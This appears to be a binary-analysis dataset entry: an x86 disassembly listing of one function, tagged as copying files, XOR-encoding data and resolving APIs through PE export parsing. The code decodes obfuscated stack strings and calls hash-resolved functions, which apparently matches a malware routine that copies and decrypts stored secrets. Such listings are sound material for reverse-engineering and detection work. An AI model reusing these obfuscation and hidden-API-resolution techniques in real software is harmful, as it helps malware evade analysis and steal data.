Function at 0x425e05
Capabilities:
Copy file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push dword [esp + 4]
call fcn.004252f0
add esp, 4
test al, al
je 0x425b20
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xdc
mov dword [esp + 0x9c], 0xc958cb7b
mov dword [esp + 0xa0], 0xc54ac745
mov dword [esp + 0xa4], 0xc156c35b
mov dword [esp + 0xa8], 0xbd0ebf54
mov dword [esp + 0xac], 0xb936bb23
mov dword [esp + 0xb0], 0xb5b6b720
mov dword [esp + 0xb4], 0
mov eax, 0xea0e0c33
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x15f1f469]
xor ecx, eax
lea edx, [ecx + ecx]
and edx, 2
mov esi, 1
sub esi, ecx
and esi, 1
mov edi, edx
and edi, ecx
and ecx, 0xfe
or ecx, esi
or ecx, edx
add ecx, edi
mov byte [esp + eax + 0x15f1f469], cl
inc eax
cmp eax, 0xea0e0c4f
jne 0x425b80
mov dword [esp + 0x18], 0x81548720
mov dword [esp + 0x1c], 0x8d4b834f
mov dword [esp + 0x20], 0x89538f47
mov dword [esp + 0x24], 0x95588b54
mov dword [esp + 0x28], 0x9132974f
mov dword [esp + 0x2c], 0x9d519347
mov dword [esp + 0x30], 0x99569f51
mov dword [esp + 0x34], 0x654c9b53
mov dword [esp + 0x38], 0x61c267ab
mov dword [esp + 0x3c], 0x6db363bd
mov dword [esp + 0x40], 0x69b26fa2
mov dword [esp + 0x44], 0x75a96bb1
mov dword [esp + 0x48], 0x71b977a6
mov dword [esp + 0x4c], 0x7dac73d4
mov dword [esp + 0x50], 0x79ca7fdf
mov dword [esp + 0x54], 0x45d57bc6
mov dword [esp + 0x58], 0x419b47e0
mov dword [esp + 0x5c], 0x4ded43fc
mov dword [esp + 0x60], 0x49f94fef
mov dword [esp + 0x64], 0x4b48
xor eax, eax
xor ecx, ecx
nop
nop
nop
movzx esi, byte [esp + ecx + 0x18]
mov edx, ecx
xor edx, 0xefb503e9
mov edi, eax
and edi, 0x2c
sub edx, edi
mov ebx, 0xca
sub ebx, edx
add edx, 0x35
xor ebx, edx
and ebx, esi
xor ebx, edx
mov dl, 0x9a
sub dl, bl
mov byte [esp + ecx + 0x18], dl
inc ecx
add eax, 2
cmp ecx, 0x50
jne case.default.0x425cb3
lea eax, [esp + 0x9c]
lea ebp, [esp + 0x18]
push eax
push ebp
call fcn.00436c30
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x446c70]
mov eax, edi
nop
nop
nop
nop
mov ecx, eax
add eax, 2
cmp word [ecx], 0
jne 0x425cc0
mov edx, ecx
xor edx, edi
mov eax, edi
not eax
and eax, ecx
add eax, eax
sub eax, edx
cmp eax, 0xffffffd9
jge 0x425cec
mov eax, 0xffffffff
jmp 0x425cef
xor eax, eax
jmp 0x426c9a
add eax, 0x26
push eax
call fcn.0040c860
add esp, 4
mov dword [esp + 8], eax
mov dword [esp + 0x18], 0x93719174
mov dword [esp + 0x1c], 0xaf58ad5b
mov dword [esp + 0x20], 0xab53a956
mov dword [esp + 0x24], 0xa742a55b
mov dword [esp + 0x28], 0xa355a143
mov dword [esp + 0x2c], 0xbf40bd4a
mov dword [esp + 0x30], 0xbb45b941
mov dword [esp + 0x34], 0xb738b582
mov dword [esp + 0x38], 0xb34cb14c
mov dword [esp + 0x3c], 0x4d4c
mov eax, 0x5c
mov ecx, 0xa3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0x44]
mov edx, eax
xor edx, ecx
and edx, esi
xor edx, ecx
mov bl, 0x33
sub bl, dl
mov byte [esp + eax - 0x44], bl
inc eax
dec ecx
cmp eax, 0x84
jne 0x425d60
movzx ecx, word [edi]
mov esi, dword [esp + 8]
mov eax, esi
test cx, cx
je 0x425db1
mov edx, edi
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425da0
mov word [eax], 0
movzx ecx, word [esp + 0x18]
test cx, cx
je 0x425de1
lea edx, [esp + 0x1a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x425dd0
mov word [eax], 0
jmp dword [0x446c78]
push edi
call fcn.0040c870
add esp, 4
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x446c80]
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x446c80]
mov dword [esp + 0x18], 0xb974bb41
mov dword [esp + 0x1c], 0xbd5bbf54
mov dword [esp + 0x20], 0xb120b32d
mov dword [esp + 0x24], 0xb529b72a
mov dword [esp + 0x28], 0xa946ab2d
mov dword [esp + 0x2c], 0xad3faf4d
mov dword [esp + 0x30], 0xa138a33e
mov dword [esp + 0x34], 0xa53fa73f
mov dword [esp + 0x38], 0x59d05b76
mov dword [esp + 0x3c], 0x5dc45fbc
mov dword [esp + 0x40], 0x535c
mov eax, 0xdfcd965f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x203269b9]
xor ecx, eax
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
add cl, 0x24
mov byte [esp + eax + 0x203269b9], cl
inc eax
cmp eax, 0xdfcd968b
jne 0x425e80
push 0
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
lea eax, [esp + 0xa8]
push eax
push esi
call fcn.0043f4d0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446c88]
xor ebp, ebp
xor ebx, ebx
jmp dword [0x446ce8]
push esi
call fcn.0040c870
add esp, 4
xor eax, eax
cmp ebp, ebx
sete al
jmp dword [eax*4 + 0x446cf0]
xor eax, eax
test ebp, ebp
jne 0x426cbb
jmp 0x426c9a
lea eax, [esp + 0x84]
push 0
push eax
push dword [esp + 0xa4]
call fcn.0043f850
add esp, 0xc
not eax
shr eax, 0x1f
xor edi, edi
xor esi, esi
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x446c90]
mov esi, dword [esp + 0x84]
lea eax, [esi + 1]
push eax
call fcn.0040c860
add esp, 4
push 0
push esi
mov dword [esp + 0x78], eax
push eax
push dword [esp + 0xa8]
call fcn.0043f920
add esp, 0x10
not eax
shr eax, 0x1f
xor esi, esi
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x446c98]
mov edi, dword [esp + 0x84]
mov esi, dword [esp + 0x70]
mov byte [esi + edi], 0
push 0x20
call fcn.0040c860
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x68], eax
mov ecx, eax
push edi
push esi
call fcn.00428a20
movzx eax, al
xor esi, esi
mov dword [esp + 4], 0
jmp dword [eax*4 + 0x446ca0]
mov dword [esp + 0x18], 0xa5b0aa41
mov dword [esp + 0x1c], 0xced8c8a1
mov dword [esp + 0x20], 0xd5cd3915
mov dword [esp + 0x24], 0x301fc4da
mov dword [esp + 0x28], 0xdac5c0d0
mov dword [esp + 0x2c], 0xd8db3819
mov dword [esp + 0x30], 0xcdc0c8c5
mov word [esp + 0x34], 0x7fcd
mov dword [esp + 0x36], 0
mov word [esp + 0x3a], 0
mov eax, 0xd2b61ebb
nop
nop
movzx ecx, byte [esp + eax + 0x2d49e15d]
xor ecx, eax
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
add cl, 0x58
mov byte [esp + eax + 0x2d49e15d], cl
inc eax
cmp eax, 0xd2b61edf
jne 0x426030
mov ecx, dword [esp + 0x68]
push ebp
call fcn.00428c30
mov ecx, dword [case.0x425cb3.16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 4], 0
jmp dword [ecx*4 + 0x446cb8]
xor edi, edi
jmp dword [0x446cd8]
mov ebx, dword [esp + 0x68]
mov ecx, ebx
call fcn.00428da0
push ebx
call fcn.0040c870
add esp, 4
jmp dword [0x446ce0]
jmp dword [0x446ce0]
push dword [esp + 0x70]
call fcn.0040c870
add esp, 4
mov eax, dword [esp + 0x9c]
mov dword [esp], eax
mov dword [esp + 0x18], 0x80b0a0d
mov word [esp + 0x1c], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + edi + 0x18]
lea edx, [edi - 0x6a60185f]
mov eax, edi
mov edi, edx
and edi, 0x40d0383
xor edx, 0x246d13c3
lea ebx, [edx + edi*2]
lea edi, [edx + edi*2]
add edi, 0x6a60185f
lea edx, [ecx + ecx]
not edx
add edx, ecx
and edx, edi
mov edi, 0x959fe7a0
sub edi, ebx
mov ebp, 0xa0
sub ebp, ebx
xor ebp, edi
add ebp, edi
mov edi, eax
and ebp, ecx
or ebp, edx
mov ecx, ebp
and ecx, 0x30
xor ebp, 0x30
lea ecx, [ecx*2]
add ecx, ebp
inc cl
mov byte [esp + eax + 0x18], cl
mov ecx, eax
and ecx, 1
xor edi, 1
lea edi, [edi + ecx*2]
cmp edi, 6
jb 0x4260e0
mov ecx, dword [0x44ae04]
test ecx, ecx
mov ebx, esi
mov ebp, dword [esp + 4]
je 0x42618c
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44ae08]
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x426180
inc esi
cmp ecx, esi
jne 0x426170
jmp 0x42618c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4265c0
mov esi, dword [esp + 8]
jmp dword [0x446ce8]
xor eax, eax
cmp ebp, ebx
sete al
jmp dword [eax*4 + 0x446cf0]
mov eax, ebx
mov dword [esp + 4], ebp
sub eax, ebp
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.0040c860
add esp, 4
mov dword [esp + 8], eax
mov dword [esp + 0x18], 0xb74289a5
mov dword [esp + 0x1c], 0xb35db527
mov dword [esp + 0x20], 0xbf2ab151
mov dword [esp + 0x24], 0xbb2abd7d
mov dword [esp + 0x28], 0xa76ab928
mov dword [esp + 0x2c], 0xa33ea545
mov dword [esp + 0x30], 0xaf83a141
mov dword [esp + 0x34], 0xab55ad48
mov dword [esp + 0x38], 0x57bba934
mov dword [esp + 0x3c], 0x53c755b5
mov dword [esp + 0x40], 0x5fca51b4
mov dword [esp + 0x44], 0x5bb55dcf
mov dword [esp + 0x48], 0x47d259b9
mov dword [esp + 0x4c], 0x43d84596
mov dword [esp + 0x50], 0x4fa441ac
lea eax, [esp + 0x54]
mov word [esp + 0x54], 0x4d4c
mov dword [esp + 0x56], 0
mov word [esp + 0x5a], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xde
xor dl, byte [esp + ecx + 0x18]
add dl, 0xaa
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 0x44
jne 0x426260
lea edx, [esp + 0x18]
mov ecx, 0xf
lea ebp, [esp + 0x9c]
mov edi, ebp
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xd8]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x98]
push esi
push 0
push 0
push 0x1e
push ebp
push 0
call dword [0x44ae00]
mov edi, dword [esp + 0x98]
test edi, edi
jns 0x4262c8
mov eax, 0xffffffff
jmp 0x4262cb
lea eax, [edi + edi]
push eax
call fcn.0040c860
add esp, 4
push esi
mov esi, eax
push edi
push eax
push 0x1e
lea eax, [esp + 0xac]
push eax
push 0
call dword [0x44ae00]
lea eax, [esp + 0x8c]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.0043f4d0
add esp, 0x14
not eax
shr eax, 0x1f
mov ebp, dword [esp + 4]
jmp dword [eax*4 + 0x446cf8]
mov dword [esp + 0xc], 0
mov edi, dword [esp + 8]
jmp dword [0x446df0]
lea eax, [esp + 0x94]
push 0
push eax
push dword [esp + 0x94]
call fcn.0043f850
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
mov dword [esp + 0xc], 0
mov edi, dword [esp + 8]
mov dword [esp + 0x74], esi
jmp dword [eax*4 + 0x446d00]
mov esi, dword [esp + 0x94]
lea eax, [esi + 1]
push eax
call fcn.0040c860
add esp, 4
push 0
push esi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0x98]
call fcn.0043f920
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0xc], 0
mov edi, dword [esp + 8]
jmp dword [eax*4 + 0x446d08]
mov dword [esp + 0x14], ebx
mov esi, dword [esp + 0x94]
mov edi, dword [esp + 0x68]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c860
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x90], eax
mov ecx, eax
push esi
push edi
call fcn.00428a20
movzx eax, al
mov dword [esp + 0xc], 0
mov edi, dword [esp + 8]
jmp dword [eax*4 + 0x446d10]
mov dword [esp + 0x18], 0x65706a41
mov dword [esp + 0x1c], 0x4e584861
mov dword [esp + 0x20], 0x554d7995
mov dword [esp + 0x24], 0x709f445a
mov dword [esp + 0x28], 0x5a454050
mov dword [esp + 0x2c], 0x47477a99
mov dword [esp + 0x30], 0x4d5f5846
mov dword [esp + 0x34], 0x5553507d
mov dword [esp + 0x38], 0xbb57
mov eax, 0x16d46d5b
mov ecx, 0xa4
nop
nop
movzx edx, byte [esp + eax - 0x16d46d43]
mov esi, ecx
xor esi, eax
and esi, edx
xor esi, eax
mov edx, esi
and edx, 0x31
xor esi, 0xb1
lea edx, [esi + edx*2]
add dl, 0x88
mov byte [esp + eax - 0x16d46d43], dl
inc eax
dec ecx
cmp eax, 0x16d46d7f
jne 0x426460
mov ecx, dword [esp + 0x90]
lea eax, [esp + 0x18]
push eax
call fcn.00428c30
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0xc], 0
mov edi, dword [esp + 8]
jmp dword [ecx*4 + 0x446d18]
mov ebx, dword [esp + 0x14]
jmp dword [0x446de0]
jmp dword [0x446de8]
mov dword [esp + 0x10], edi
mov eax, ebx
mov ecx, dword [esp + 0x8c]
mov dword [esp], ecx
mov dword [esp + 0x18], 0x80b0a0d
mov word [esp + 0x1c], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + ebp + 0x18]
lea edx, [ebp - 0x6a60185f]
mov esi, edx
and esi, 0x40d0383
xor edx, 0x246d13c3
lea edi, [edx + esi*2]
lea esi, [edx + esi*2]
add esi, 0x6a60185f
lea edx, [ecx + ecx]
not edx
add edx, ecx
and edx, esi
mov esi, 0x959fe7a0
sub esi, edi
mov ebx, 0xa0
sub ebx, edi
xor ebx, esi
add ebx, esi
and ebx, ecx
or ebx, edx
mov ecx, ebx
and ecx, 0x30
xor ebx, 0x30
lea ecx, [ebx + ecx*2]
inc cl
mov byte [esp + ebp + 0x18], cl
mov ecx, ebp
and ecx, 1
xor ebp, 1
lea ebp, [ebp + ecx*2]
cmp ebp, 6
jb 0x426520
mov ecx, dword [0x44ae04]
test ecx, ecx
mov ebx, eax
mov ebp, dword [esp + 4]
je 0x4265e6
mov edx, dword [esp + 0x18]
xor esi, esi
mov edi, dword [0x44ae08]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4265de
inc esi
cmp ecx, esi
jne 0x4265b0
jmp 0x4265e6
push dword [esp]
push 1
push ecx
push dword [0x44ae0c]
call fcn.0043bd80
add esp, 0x10
mov esi, dword [esp + 8]
jmp dword [0x446ce8]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x4265fa
mov esi, dword [esp + 0x74]
mov edi, dword [esp + 0x10]
jmp dword [0x446df0]
push dword [esp]
push 1
push ecx
push dword [0x44ae0c]
call fcn.0043bd80
add esp, 0x10
mov esi, dword [esp + 0x74]
mov edi, dword [esp + 0x10]
jmp dword [0x446df0]
add eax, 8
xor ebp, ebp
xor esi, esi
xor edx, edx
jmp 0x426647
xor ecx, ecx
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 4]
mov dword [edx + eax + 4], ecx
mov esi, dword [esp + 0x14]
add esi, 8
mov eax, dword [esp + 0x10]
add eax, 4
mov ebp, dword [esp + 0x78]
mov dword [esp + 4], edx
mov eax, dword [eax]
mov ecx, dword [case.0x425cb3.22]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446cd0]
mov dword [esp + 0x10], eax
mov eax, dword [eax]
mov dword [esp], eax
mov edi, esi
mov ebx, dword [esp + 4]
sub edi, ebx
cmp esi, ebp
mov dword [esp + 0xc], edi
je 0x426694
mov dword [esp + 0x14], esi
mov eax, ebx
mov esi, dword [esp]
jmp 0x42670e
mov eax, edi
sar eax, 3
inc eax
mov ecx, ebp
sub ecx, ebx
sar ecx, 3
mov edi, ecx
shr edi, 1
add edi, ecx
cmp edi, eax
ja 0x4266ad
mov edi, eax
lea eax, [edi*8]
push eax
call fcn.0040c860
add esp, 4
test ebx, ebx
mov esi, dword [esp]
je 0x4266ff
cmp ebx, ebp
je 0x4266f2
xor edx, edx
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx + edx]
mov dword [eax + edx], ecx
mov ecx, dword [ebx + edx + 4]
mov dword [eax + edx + 4], ecx
mov dword [ebx + edx], 0
lea ecx, [ebx + edx]
add ecx, 8
add edx, 8
cmp ecx, ebp
jne 0x4266d0
push ebx
mov ebx, eax
call fcn.0040c870
mov eax, ebx
add esp, 4
lea ebp, [eax + edi*8]
mov ecx, eax
mov edi, dword [esp + 0xc]
add ecx, edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x78], ebp
mov dword [eax + edi], 0
mov dword [esp + 4], eax
mov dword [eax + edi + 4], 0
xor ebx, ebx
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
dec ebx
cmp byte [eax], 0
lea eax, [eax + 1]
jne 0x426730
mov ebp, ebx
neg ebp
push ebp
call fcn.0040c860
add esp, 4
mov ecx, eax
mov eax, dword [esp + 4]
mov dword [eax + edi], ecx
mov eax, ecx
mov ecx, ebp
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, ebp
xor ecx, 3
mov edx, ebp
or edx, 0xfffffffc
and edx, ecx
add eax, edx
add edx, esi
mov ecx, ebp
shr ecx, 1
and ecx, 1
mov dword [esp + 0x6c], edx
mov dword [esp + 0x74], eax
mov edi, eax
mov eax, dword [esp + 0x6c]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
test bl, 1
je 0x42679d
and ebp, 2
movzx eax, byte [edx + ebp]
mov ecx, dword [esp + 0x74]
mov byte [ecx + ebp], al
cmp ebx, 0xffffffff
je 0x426627
mov ecx, 0xffffffff
mov eax, 1
movzx edi, byte [esi + eax - 1]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov ebp, edx
shr ebp, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, ebp
mov esi, edi
shl esi, 0x1d
sar esi, 0x1f
and esi, 0x76dc419
mov ebp, edi
shl ebp, 0x1c
sar ebp, 0x1f
and ebp, 0xedb8832
xor ebp, esi
mov esi, edi
shl esi, 0x1b
sar esi, 0x1f
and esi, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, esi
xor edi, ebp
mov esi, ecx
shr esi, 6
xor edi, esi
mov esi, dword [esp]
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
mov edx, ebx
add edx, eax
jne 0x4267b0
not ecx
jmp 0x426629
add eax, 8
mov dword [esp + 0xc], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov edi, dword [esp + 8]
jmp dword [eax*4 + 0x446d20]
add edx, 4
mov edx, dword [edx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x446d20]
mov eax, dword [edx]
mov dword [esp], eax
cmp dword [edx + 0x18], 3
mov ebx, 0
jne case.default.0x4268b7
mov ebx, dword [edx + 0x10]
cmp dword [esp], 0
setne al
test ebx, ebx
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446d28]
mov eax, ebx
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x4268fb
mov dword [esp + 0x70], edx
mov dword [esp + 0x10], edi
sub ecx, ebx
inc ecx
shr ecx, 1
mov dword [esp + 0x78], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c860
add esp, 4
mov edi, eax
mov esi, dword [case.0x426938.103]
movsx edx, byte [ebx]
xor eax, eax
test edx, edx
setne al
mov dword [esp + 0x6c], edi
jmp dword [eax*4 + 0x446d30]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x42691d
mov ecx, 0xffffffff
or edx, 0x20
lea eax, [edx - 0x61]
cmp eax, 6
jae case.default.0x426938
add edx, 0xffffffa9
mov ecx, edx
movsx edx, byte [ebx + 1]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x446d38]
inc ebx
jmp esi
jmp dword [0x446d4c]
mov ebp, esi
lea eax, [edx - 0x30]
cmp eax, 0xa
jb 0x426965
mov eax, 0xffffffff
or edx, 0x20
lea esi, [edx - 0x61]
cmp esi, 6
jae 0x426975
add edx, 0xffffffa9
mov eax, edx
mov esi, ebp
shl ecx, 4
or ecx, eax
add ebx, 2
xor ebp, ebp
jmp esi
mov byte [edi], cl
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
jmp dword [0x446d58]
inc edi
movsx edx, byte [ebx]
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x446d30]
mov esi, dword [esp]
jmp dword [0x446d64]
mov ecx, dword [edi]
mov dword [esp], ecx
xor ebx, ebx
jmp dword [ebx*4 + 0x446d90]
add edi, 8
xor ebx, ebx
cmp edi, dword [esp + 0x14]
setne bl
jmp dword [ebx*4 + 0x446d70]
mov ebx, dword [edi + 4]
mov esi, ebx
shr esi, 0x1c
shl ebx, 4
or ebx, 1
xor esi, edx
xor ebx, eax
xor ecx, ecx
or ebx, esi
sete cl
jmp dword [ecx*4 + 0x446d88]
mov ebx, 1
jmp dword [ebx*4 + 0x446d90]
mov eax, dword [esp + 0x78]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
mov eax, 0xffffffff
mov ecx, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ecx + eax + 1], 0
lea eax, [eax + 1]
jne 0x426a30
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], ecx
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x14e20a34
push dword [0x44ae10]
call fcn.0043eac0
add esp, 8
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x84]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
jmp dword [0x446dac]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x446db0]
jmp dword [0x446db8]
mov dword [esp], 0
xor ebx, ebx
mov edi, dword [esp + 4]
cmp edi, dword [esp + 0x14]
setne bl
jmp dword [ebx*4 + 0x446d70]
jmp dword [0x446d80]
xor eax, eax
cmp dword [esp], 0
setne al
jmp dword [eax*4 + 0x446d98]
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x6c]
jmp dword [0x446db8]
lea esi, [esp + 0x18]
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x6c]
jmp dword [0x446da0]
mov eax, dword [esp + 0x78]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
mov eax, 0xffffffff
mov ecx, dword [esp]
nop
nop
nop
nop
nop
nop
cmp byte [ecx + eax + 1], 0
lea eax, [eax + 1]
jne 0x426bf0
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], ecx
mov dword [esp + 0x7c], 0
mov dword [esp + 0x80], 0
push 0x14e20a34
push dword [0x44ae10]
call fcn.0043eac0
add esp, 8
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x84]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
jmp case.0x425cb3.75
mov byte [edi], 0
push 0
push 0x10
push 0
push esi
call fcn.00428e40
add esp, 0x10
mov byte [edi], 0
push 0
push 0x10
push 0
push esi
call fcn.00428e40
add esp, 0x10
jmp dword [0x446d68]
add esp, 0xdc
pop esi
pop edi
pop ebx
pop ebp
ret
cmp ebp, ebx
je 0x426c9a
mov edi, eax
mov esi, ebp
jmp 0x426cd7
add esi, 8
cmp esi, ebx
je 0x426ce8
mov eax, dword [esi]
test eax, eax
je 0x426cd0
push eax
call fcn.0040c870
add esp, 4
jmp 0x426cd0
push ebp
call fcn.0040c870
add esp, 4
mov eax, edi
jmp 0x426c9a